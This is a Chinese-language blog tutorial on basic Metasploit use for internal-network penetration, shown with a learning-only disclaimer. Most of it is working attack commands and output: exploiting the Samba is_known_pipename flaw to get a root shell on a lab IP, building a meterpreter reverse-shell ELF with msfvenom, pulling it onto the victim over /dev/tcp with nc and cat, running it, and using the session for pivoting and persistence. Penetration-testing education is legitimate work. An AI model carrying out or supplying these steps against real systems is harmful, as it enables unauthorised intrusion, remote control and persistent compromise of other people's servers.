內網滲透 Metasploit(MSF)基礎使用

陕西颜值扛把子發表於2024-05-17

免責申明

以下內容僅供學習使用,非法使用造成的問題由使用人承擔

攻擊思路

漏洞探測(資訊收集) <- fsacn,namp

|

漏洞利用 <- 工具(msf等)

|

獲取伺服器許可權

MSF 使用

Metasploit就是一個安全漏洞檢測工具。它的全稱叫做The Metasploit Framework,簡稱MSF。

MSF主要用於攻擊非web埠

1、資料庫

2、協議型別的埠

使用流程

Kali控制檯 輸入 msfconsole 進入

1、搜尋並確認模組(search,use)

如smb漏洞:執行 search samba 搜尋相關漏洞

msf6 > search samba

Matching Modules
================

   #   Name                                                 Disclosure Date  Rank       Check  Description
   -   ----                                                 ---------------  ----       -----  -----------
   0   exploit/unix/webapp/citrix_access_gateway_exec       2010-12-21       excellent  Yes    Citrix Access Gateway Command Execution
   1   exploit/windows/license/calicclnt_getconfig          2005-03-02       average    No     Computer Associates License Client GETCONFIG Overflow
   2   exploit/unix/misc/distcc_exec                        2002-02-01       excellent  Yes    DistCC Daemon Command Execution
   3   exploit/windows/smb/group_policy_startup             2015-01-26       manual     No     Group Policy Script Execution From Shared Resource
   4   post/linux/gather/enum_configs                                        normal     No     Linux Gather Configurations
   5   auxiliary/scanner/rsync/modules_list                                  normal     No     List Rsync Modules
   6   exploit/windows/fileformat/ms14_060_sandworm         2014-10-14       excellent  No     MS14-060 Microsoft Windows OLE Package Manager Code Execution
   7   exploit/unix/http/quest_kace_systems_management_rce  2018-05-31       excellent  Yes    Quest KACE Systems Management Command Injection
   8   exploit/multi/samba/usermap_script                   2007-05-14       excellent  No     Samba "username map script" Command Execution
   9   exploit/multi/samba/nttrans                          2003-04-07       average    No     Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   10  exploit/linux/samba/setinfopolicy_heap               2012-04-10       normal     Yes    Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   11  auxiliary/admin/smb/samba_symlink_traversal                           normal     No     Samba Symlink Directory Traversal
   12  auxiliary/scanner/smb/smb_uninit_cred                                 normal     Yes    Samba _netr_ServerPasswordSet Uninitialized Credential State
   13  exploit/linux/samba/chain_reply                      2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   14  exploit/linux/samba/is_known_pipename                2017-03-24       excellent  Yes    Samba is_known_pipename() Arbitrary Module Load
   15  auxiliary/dos/samba/lsa_addprivs_heap                                 normal     No     Samba lsa_io_privilege_set Heap Overflow
   16  auxiliary/dos/samba/lsa_transnames_heap                               normal     No     Samba lsa_io_trans_names Heap Overflow
   17  exploit/linux/samba/lsa_transnames_heap              2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
   18  exploit/osx/samba/lsa_transnames_heap                2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   19  exploit/solaris/samba/lsa_transnames_heap            2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   20  auxiliary/dos/samba/read_nttrans_ea_list                              normal     No     Samba read_nttrans_ea_list Integer Overflow
   21  exploit/freebsd/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (*BSD x86)
   22  exploit/linux/samba/trans2open                       2003-04-07       great      No     Samba trans2open Overflow (Linux x86)
   23  exploit/osx/samba/trans2open                         2003-04-07       great      No     Samba trans2open Overflow (Mac OS X PPC)
   24  exploit/solaris/samba/trans2open                     2003-04-07       great      No     Samba trans2open Overflow (Solaris SPARC)
   25  exploit/windows/http/sambar6_search_results          2003-06-21       normal     Yes    Sambar 6 Search Results Buffer Overflow

其中 exploit 為漏洞利用,auxiliary 為漏洞發現

info

使用 info 命令可以檢視漏洞詳情,例如

msf6 > info exploit/linux/samba/is_known_pipename

       Name: Samba is_known_pipename() Arbitrary Module Load
     Module: exploit/linux/samba/is_known_pipename
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-24

Provided by:
  steelo <knownsteelo@gmail.com>
  hdm <x@hdm.io>
  bcoles <bcoles@gmail.com>

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic (Interact)
      1   Automatic (Command)
      2   Linux x86
      3   Linux x86_64
      4   Linux ARM (LE)
      5   Linux ARM64
      6   Linux MIPS
      7   Linux MIPSLE
      8   Linux MIPS64
      9   Linux MIPS64LE
      10  Linux PPC
      11  Linux PPC64
      12  Linux PPC64 (LE)
      13  Linux SPARC
      14  Linux SPARC64
      15  Linux s390x

Check supported:
  Yes

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT           445              yes       The SMB service port (TCP)
  SMB_FOLDER                       no        The directory to use within the writeable SMB share
  SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory

Payload information:
  Space: 9000

Description:
  This module triggers an arbitrary shared library load vulnerability
  in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
  requires valid credentials, a writeable folder in an accessible share,
  and knowledge of the server-side path of the writeable folder. In
  some cases, anonymous access combined with common filesystem locations
  can be used to automatically exploit this vulnerability.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-7494
  https://www.samba.org/samba/security/CVE-2017-7494.html


View the full module info with the info -d command.

漏洞利用,use

例如使用 smb漏洞,執行 use exploit/linux/samba/is_known_pipename 會進入一個漏洞終端

msf6 > use exploit/linux/samba/is_known_pipename
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(linux/samba/is_known_pipename) > 

2、設定模組引數(show,options,set)

show options 檢視模組設定

使用 show options 檢視模組設定

msf6 exploit(linux/samba/is_known_pipename) > show options

# 模組設定
Module options (exploit/linux/samba/is_known_pipename):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   # 目標                           yes 表示必填項
   RHOSTS                           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   # 攻擊埠號
   RPORT           445              yes       The SMB service port (TCP)
   SMB_FOLDER                       no        The directory to use within the writeable SMB share
   SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory

# 攻擊載荷設定
Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

# 攻擊目標設定
Exploit target:

   Id  Name
   --  ----
   0   Automatic (Interact)



View the full module info with the info, or info -d command.

設定模組

# 設定靶機IP
set RHOSTS 10.3.4.126

# smb模組全域性設定
set SMB::AlwaysEncrypt false
set SMB::ProtocolVersion 1

3、執行模組(run)

設定完成後執行 run

msf6 exploit(linux/samba/is_known_pipename) > run

[*] 10.3.4.126:445 - Using location \\10.3.4.126\share\ for the path
[*] 10.3.4.126:445 - Retrieving the remote path of the share 'share'
[*] 10.3.4.126:445 - Share 'share' has server-side path '/tmp/
[*] 10.3.4.126:445 - Uploaded payload to \\10.3.4.126\share\CIkZEMwu.so
[*] 10.3.4.126:445 - Loading the payload from server-side path /tmp/CIkZEMwu.so using \\PIPE\/tmp/CIkZEMwu.so...
[-] 10.3.4.126:445 -   >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 10.3.4.126:445 - Loading the payload from server-side path /tmp/CIkZEMwu.so using /tmp/CIkZEMwu.so...
[+] 10.3.4.126:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (192.168.198.226:37289 -> 10.3.4.126:445) at 2024-05-16 21:35:34 -0400

出現

[*] Command shell session 1 opened (192.168.198.226:37289 -> 10.3.4.126:445) at 2024-05-16 21:35:34 -0400

表示攻擊成功

輸入 bash -i 進入終端

bash -i
bash: cannot set terminal process group (79): Inappropriate ioctl for device
bash: no job control in this shell
root@46d29b327da6:/# ls

MSF 木馬生成模組 Msfvenom

msfvenom

木馬製作

Linux執行如下程式碼

#製作linux反彈shell木馬
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf

IP填寫本機IP

PORT為本機監聽埠

#製作linux反彈shell木馬
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.198.226 LPORT=4444 -f elf > shell.elf

監聽配置

msfvenom生成的遠端控制木馬需要和MSF中的exploit/multi/handler模組配合使用

# 使用 exploit/multi/handler 模組
use exploit/multi/handler
# 設定模組
set payload linux/x64/meterpreter/reverse_tcp

執行結果如下

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   # 本地監聽地址,一般情況下0.0.0.0
   LHOST                   yes       The listen address (an interface may be specified)
   # 本地監聽埠
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

開啟監聽

msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:4444 

上傳木馬

由於伺服器沒有wget與curl命令,我們需要使用cat命令上傳惡意木馬

首先使用nc命令,監聽999埠

nc -lvp 999 < shell.elf
``

之後在之前獲取到的 `bash` 中執行以下命令


```bash
cat < /dev/tcp/<nc監聽的IP>/999 > shell.elf

圖片

cat上傳

上傳成功的效果如圖上

然後需要在右邊視窗停止 nc 執行

然後透過 ls -l 命令比對檔案大小,確保檔案上傳完整

ls比對檔案大小

執行

賦予 shell.elf 執行許可權並執行

chmod +x ./shell.elf;./shell.elf

之後即可在 msfvenom 中看到 shell.elf 的請求

獲取 meterpreter

meterpreter 作用

發現靶機後,存在內網情況下,該靶機有機會成為跳板機,需要升級終端

meterpreter 可以使用 background 將終端掛起

透過 sessions 1 又能進入控制

meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > 

常用命令

getuid:獲取當前使用者
getsystem:自動化提權,windows專享

檔案上傳:/root/Desktop/tools/fscan 原始檔位置, 伺服器位置 /fscan

upload /root/Desktop/tools/fscan /fscan

例一:SMB漏洞

透過namp,fscan等工具掃描埠

1、發現SMB伺服器,第一步嘗試直接訪問

Windows直接透過檔案管理器訪問

Linux 可以直接用 smbclient

基本命令

# 列出共享資料夾
smbclient -L 10.3.4.126
# 進入共享資料夾
smbclient //10.3.4.126/share

Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Tue Aug 23 10:48:10 2022
  ..                                  D        0  Thu May 16 21:07:57 2024
  ydntgxhD.so                         A     8400  Tue Aug 23 10:47:53 2022
  WIJdzKgG.so                         A     8400  Tue Aug 23 10:48:10 2022

# 下載使用get
get ydntgxhD.so

2、根據服務版本尋找 N day 漏洞

3、之後流程見上面使用流程

4、攻擊成功後,一般需要使用該伺服器作為跳板機進入內網

執行上傳木馬(MSF木馬)進行持久化控制

  • 利用網路命令上傳 wget,curl,cat

  • 利用特殊工具 如:webshell 管理工具,meterpreter,stowaway

版權

本文首發於:https://www.buguagaoshu.com/archives/nei-wang-shen-tou-metasploit-msf-ji-chu-shi-yong

轉載請註明出處

相關文章